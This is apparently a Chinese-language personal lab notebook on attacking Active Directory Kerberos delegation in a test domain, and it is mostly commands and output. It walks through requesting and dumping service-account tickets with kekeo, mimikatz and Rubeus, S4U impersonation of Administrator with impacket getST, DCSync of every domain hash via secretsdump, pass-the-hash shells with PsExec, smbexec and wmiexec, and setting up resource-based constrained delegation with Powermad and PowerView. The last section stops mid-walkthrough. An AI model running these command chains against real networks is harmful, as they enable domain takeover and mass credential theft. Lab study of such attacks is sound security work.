已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214
1
2
| tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!
tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d
|

得到服务用户TGT
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问域控的CIFS的ST

拿到了两个TGS
用mimikatz将cifs的票据导入



成功 这里都行 非约束委派那里可能获得的票据确实有问题 具体问题在哪还不清楚 但至少 kokeo 软件拿到的票据能导入认证的
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来
1
| mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
|
注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
我们再试一下这种导出的操作 看看是不是跟之前一样还会导入失败
1
2
| # 让服务账户在本机登陆一次 不然没有票据 输入下面的命令在输入密码即可 模拟登录
runas /user:test\svc_sharepoint cmd.exe
|

mimikatz成功导出了 这是我们创建的服务账户
但是还是利用失败

但是我们还有Rubeus
1
2
3
4
5
6
| 后续的流程也是 读取到了写入本地 然后访问域控 流程都一样
但是这个有个缺点 就是服务账户必须登录之后不能断开 才能获取到
mimikatz的方法我还是记住吧 后续先用那个mimikatz 不行再用这个
# runas开一个cmd不要关
runas /user:test\svc_sharepoint cmd.exe
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint
|

右边就是svc_sharepoint的cmd(窗口关了啥就都没了)
1
2
3
| # 用这个保存到本地 好复制
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap >> ticket.txt
Rubeus.exe ptt /ticket:[base64]
|

dir \WindowsServerAD.test.local\c$

非约束委派和约束委派Get域控权限
非约束委派拿 shell 很简单 直接
1
2
3
| # 当导入了administrator的票据的时候 其实就跟域管没区别了 但是要测试话都试一下吧
Enter-PSSession -ComputerName WindowsServerAD
lsadump::dcsync /domain:test.local /all /csv
|
约束委派拿 shell
我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注:TGS默认的spn是krbtgt/domain name,我们操作环境是krbtgt/test.local
krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
这里我来解释一下上面原文作者提到的意思是 我们这个服务账号也就是这个约束委派账号 它默认是没有 krbtgt 权限的 也就是默认被禁用了 但是呢我要利用黄金票据 就得用krbtgt(这个服务账户其实已经有了个 cifs 权限 是我们之前配置的) 我这里无法给这个服务账户委派krbtgt 下面我只会粘贴原作者成功的方法 然后我会利用 cifs 来拿下域控 原作者的方法用分割线隔开
1
2
3
| Import-Module ActiveDirectory
$user = Get-ADUser svc_sharepoint
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local") }
|
注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll
上面有个 PowerView.ps1 的地址 这里再放一下吧
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
1
2
3
| Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,"msds-allowedtodelegateto" | Format-List
|

我们可以用impacket系列的getST向KDC请求administrator的TGT
1
| python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!
|
我这里复现失败了 貌似是因为版本过高 导致krbtgt无法被委派出来 这里做记录 各种各样的委派方式 其实有各种各样的方法 如果遇到了直接去搜就行了
这里还是用 cifs 吧
1
| python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!
|

ccache 直接 PTC 就行了 这个在我另一个页面写了有 这里搬过来就行了
1
2
| misc::cmd
dir \\WindowsServerAD.test.local\c$
|

wmiexec
这一步执行命令拿下 shell 我并没有成功 主要是目前我用的 cifs 并没有 wmi 服务的访问权限
因为我们拿到的 ST 票据是administrator权限的cifs并没有其他的 仅限此服务
接下来先不按照作者方法来实现了 他的步骤我都打了删除线 下面直接利用cifs来getshell上面已经导入了
导出域控上所有用户以及主机的hash #这个是没问题的 利用的是 smb 或者 cifs 权限来读取域数据库
1
2
| set KRB5CCNAME=Administrator@[email protected]
python secretsdump.py -no-pass -k WindowsServerAD.test.local
|

这里拿下域控的方法有很多 用一下 PTH 就行了
1
2
3
4
5
| mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe
PsExec64.exe \\192.168.0.110 cmd
|

1
2
3
| # wmi和smb 也是经典的PTHgetshell的方法 主要是看开了哪个服务
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/[email protected]
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/[email protected]
|
win11 不在域内指定 IP 就行

kali 不在域内指定 IP 也可以

win10 在域内 指定主机名就行 因为走的是域控的 dns

此时 我们再做黄金门票是没任何问题的
再次放一下原作者和参考的博客 里面也有防御方式
https://xz.aliyun.com/t/7217
https://www.freebuf.com/articles/network/290860.html
基于资源的约束委派的利用
1
2
3
4
| # 先创建机器账户 test:123456
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
|

1
2
3
4
5
| # 然后设置委派 查sid
import-module .\PowerView.ps1
Get-NetComputer test -Properties objectsid
S-1-5-21-3072663084-364016917-1341370565-9602
|

1
2
3
4
5
6
7
| # 修改FOREST的msds-allowedtoactonbehalfofotheridentity的值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FOREST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# FOREST为域控主机名
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| $RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
|